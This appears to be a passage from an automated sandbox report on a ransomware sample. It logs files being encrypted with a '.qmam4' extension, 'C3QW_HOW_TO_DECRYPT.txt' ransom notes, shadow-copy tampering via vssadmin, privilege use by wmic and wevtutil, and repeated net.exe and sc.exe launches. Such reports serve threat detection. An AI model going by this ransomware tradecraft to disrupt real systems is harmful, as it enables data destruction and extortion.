File opened for modification C:\Program Files\WindowsApps\Microsoft.BingWeather_4.25.20211.0_x64__8wekyb3d8bbwe\Assets\AppTiles\WeatherIcons\30x30\167.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\notificationsUI\fabric.min.css C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\WINWORD_F_COL.HXK.ZTr33YX0V3IeaRHGLIRABTqaFjge0R4AUZy3i6ksMC3_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.XboxGamingOverlay_2.34.28001.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\GameBar_LargeTile.scale-100.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Assets\contrast-black\AppList.targetsize-60_contrast-black.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ui-strings.js.ZTr33YX0V3IeaRHGLIRABTqaFjge0R4AUZy3i6ksMC3_AgAAAAIAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProPlusDemoR_BypassTrial180-ppd.xrm-ms.ZTr33YX0V3IeaRHGLIRABTqaFjge0R4AUZy3i6ksMC3_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\lua\sd\icecast.luac.ZTr33YX0V3IeaRHGLIRABTqaFjge0R4AUZy3i6ksMC3_BgAAAAYAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\resources.pri C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Xbox.TCUI_1.23.28002.0_x64__8wekyb3d8bbwe\BuildInfo.xml C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsCamera_2018.826.98.0_x64__8wekyb3d8bbwe\Assets\WindowsIcons\WindowsCameraAppList.targetsize-24_altform-lightunplated.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsSoundRecorder_10.1906.1972.0_x64__8wekyb3d8bbwe\Assets\VoiceRecorderLogoExtensions.targetsize-48.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\fr-fr\C3QW_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Xbox.TCUI_1.23.28002.0_x64__8wekyb3d8bbwe\Assets\MediumTile.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_gridview-hover.svg.ZTr33YX0V3IeaRHGLIRABTqaFjge0R4AUZy3i6ksMC3_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\tr-tr\C3QW_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\update_tracking\org-netbeans-lib-profiler-ui.xml.ZTr33YX0V3IeaRHGLIRABTqaFjge0R4AUZy3i6ksMC3_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsSoundRecorder_10.1906.1972.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\VoiceRecorderSmallTile.contrast-white_scale-125.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.HEIFImageExtension_1.0.22742.0_x64__8wekyb3d8bbwe\Assets\contrast-black\AppList.targetsize-96_altform-unplated_contrast-black.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_x64__8wekyb3d8bbwe\Assets\SecondaryTiles\Directions\Place\RTL\contrast-black\WideTile.scale-200.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\MSIPC\eu\msipc.dll.mui.ZTr33YX0V3IeaRHGLIRABTqaFjge0R4AUZy3i6ksMC3_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-black\MapsAppList.targetsize-60.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_14.53.77.0_x64__kzf8qxf38zg5c\ReactAssets\assets\RNApp\app\uwp\images\typing\bubble\dark.gif C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File created C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CONCRETE\C3QW_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ko-kr\C3QW_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-spi-quicksearch_ja.jar.ZTr33YX0V3IeaRHGLIRABTqaFjge0R4AUZy3i6ksMC3_CAAAAAgAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\cmm\CIEXYZ.pf.ZTr33YX0V3IeaRHGLIRABTqaFjge0R4AUZy3i6ksMC3_EgAAABIAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\vocaroo.luac.ZTr33YX0V3IeaRHGLIRABTqaFjge0R4AUZy3i6ksMC3_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\contrast-black\OneNoteNewNoteMedTile.scale-150.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\HxA-Generic-Light.scale-400.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\vreg\office.x-none.msi.16.x-none.vreg.dat.ZTr33YX0V3IeaRHGLIRABTqaFjge0R4AUZy3i6ksMC3_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\Assets\contrast-white\AppPackageAppList.targetsize-80_altform-unplated_contrast-white.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\Doughboy.scale-125.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_222222_256x240.png.ZTr33YX0V3IeaRHGLIRABTqaFjge0R4AUZy3i6ksMC3_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\Assets\AppPackageAppList.targetsize-96.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Assets\CalculatorSplashScreen.contrast-white_scale-200.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\bg5_thumb.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\LivePersonaCard\images\default\linkedin_logo_large.png.ZTr33YX0V3IeaRHGLIRABTqaFjge0R4AUZy3i6ksMC3_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_folder-hover_32.svg.ZTr33YX0V3IeaRHGLIRABTqaFjge0R4AUZy3i6ksMC3_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\EmptyView.scale-125.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\de-de\ui-strings.js.ZTr33YX0V3IeaRHGLIRABTqaFjge0R4AUZy3i6ksMC3_GAAAABgAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.help_3.6.0.v20130326-1254.jar.ZTr33YX0V3IeaRHGLIRABTqaFjge0R4AUZy3i6ksMC3_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\DCF\en\DatabaseCompare_k_col.hxk.ZTr33YX0V3IeaRHGLIRABTqaFjge0R4AUZy3i6ksMC3_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.HEIFImageExtension_1.0.22742.0_x64__8wekyb3d8bbwe\Assets\contrast-white\MedTile.scale-400_contrast-white.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\contrast-white\OneNotePageMedTile.scale-100.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\SecondaryTiles\Directions\Work\LTR\contrast-black\SmallTile.scale-100.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.YourPhone_0.19051.7.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-black\AppIcon.targetsize-48_altform-unplated_contrast-black.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\deploy\messages.properties.ZTr33YX0V3IeaRHGLIRABTqaFjge0R4AUZy3i6ksMC3_JAAAACQAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\AccessVL_KMS_Client-ul.xrm-ms.ZTr33YX0V3IeaRHGLIRABTqaFjge0R4AUZy3i6ksMC3_KgAAACoAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\index.win32.bundle.map.ZTr33YX0V3IeaRHGLIRABTqaFjge0R4AUZy3i6ksMC3_BgAAAAYAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MixedReality.Portal_2000.19081.1301.0_x64__8wekyb3d8bbwe\Assets\contrast-black\MixedRealityPortalAppList.targetsize-32_altform-unplated_contrast-black.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WebpImageExtension_1.0.22753.0_x64__8wekyb3d8bbwe\Assets\contrast-white\BadgeLogo.scale-400_contrast-white.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\Logs\CBS\CBS.log C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe N/A
File opened for modification C:\Windows\WinSxS\pending.xml C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe N/A
File opened for modification C:\Windows\WindowsUpdate.log C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.edb C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log C:\Windows\system32\svchost.exe N/A

Launches sc.exe

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\vssadmin.exe N/A

Runs net.exe

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeShutdownPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SYSTEM32\wevtutil.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4836 wrote to memory of 1312 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\net.exe
PID 4836 wrote to memory of 1312 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\net.exe
PID 1312 wrote to memory of 4696 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 1312 wrote to memory of 4696 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 4836 wrote to memory of 1596 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\net.exe
PID 4836 wrote to memory of 1596 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\net.exe
PID 1596 wrote to memory of 2080 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 1596 wrote to memory of 2080 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 4836 wrote to memory of 2332 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\net.exe
PID 4836 wrote to memory of 2332 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\net.exe
PID 2332 wrote to memory of 4020 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2332 wrote to memory of 4020 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 4836 wrote to memory of 3432 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\net.exe
PID 4836 wrote to memory of 3432 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\net.exe
PID 3432 wrote to memory of 3404 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3432 wrote to memory of 3404 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 4836 wrote to memory of 208 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\net.exe
PID 4836 wrote to memory of 208 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\net.exe
PID 208 wrote to memory of 1500 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 208 wrote to memory of 1500 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 4836 wrote to memory of 4572 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\net.exe
PID 4836 wrote to memory of 4572 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\net.exe
PID 4572 wrote to memory of 3340 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 4572 wrote to memory of 3340 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 4836 wrote to memory of 3524 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\net.exe
PID 4836 wrote to memory of 3524 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\net.exe
PID 3524 wrote to memory of 4988 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3524 wrote to memory of 4988 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 4836 wrote to memory of 5016 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\net.exe
PID 4836 wrote to memory of 5016 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\net.exe
PID 5016 wrote to memory of 3568 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 5016 wrote to memory of 3568 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 4836 wrote to memory of 4900 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\sc.exe
PID 4836 wrote to memory of 4900 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\sc.exe
PID 4836 wrote to memory of 3704 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\sc.exe
PID 4836 wrote to memory of 3704 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\sc.exe
PID 4836 wrote to memory of 3168 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\sc.exe
PID 4836 wrote to memory of 3168 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\sc.exe
PID 4836 wrote to memory of 640 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\sc.exe
PID 4836 wrote to memory of 640 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\sc.exe
PID 4836 wrote to memory of 1072 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\sc.exe
PID 4836 wrote to memory of 1072 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\sc.exe
PID 4836 wrote to memory of 4676 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\sc.exe
PID 4836 wrote to memory of 4676 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\sc.exe
PID 4836 wrote to memory of 996 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\sc.exe
PID 4836 wrote to memory of 996 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\sc.exe
PID 4836 wrote to memory of 452 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\sc.exe
PID 4836 wrote to memory of 452 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\SYSTEM32\sc.exe
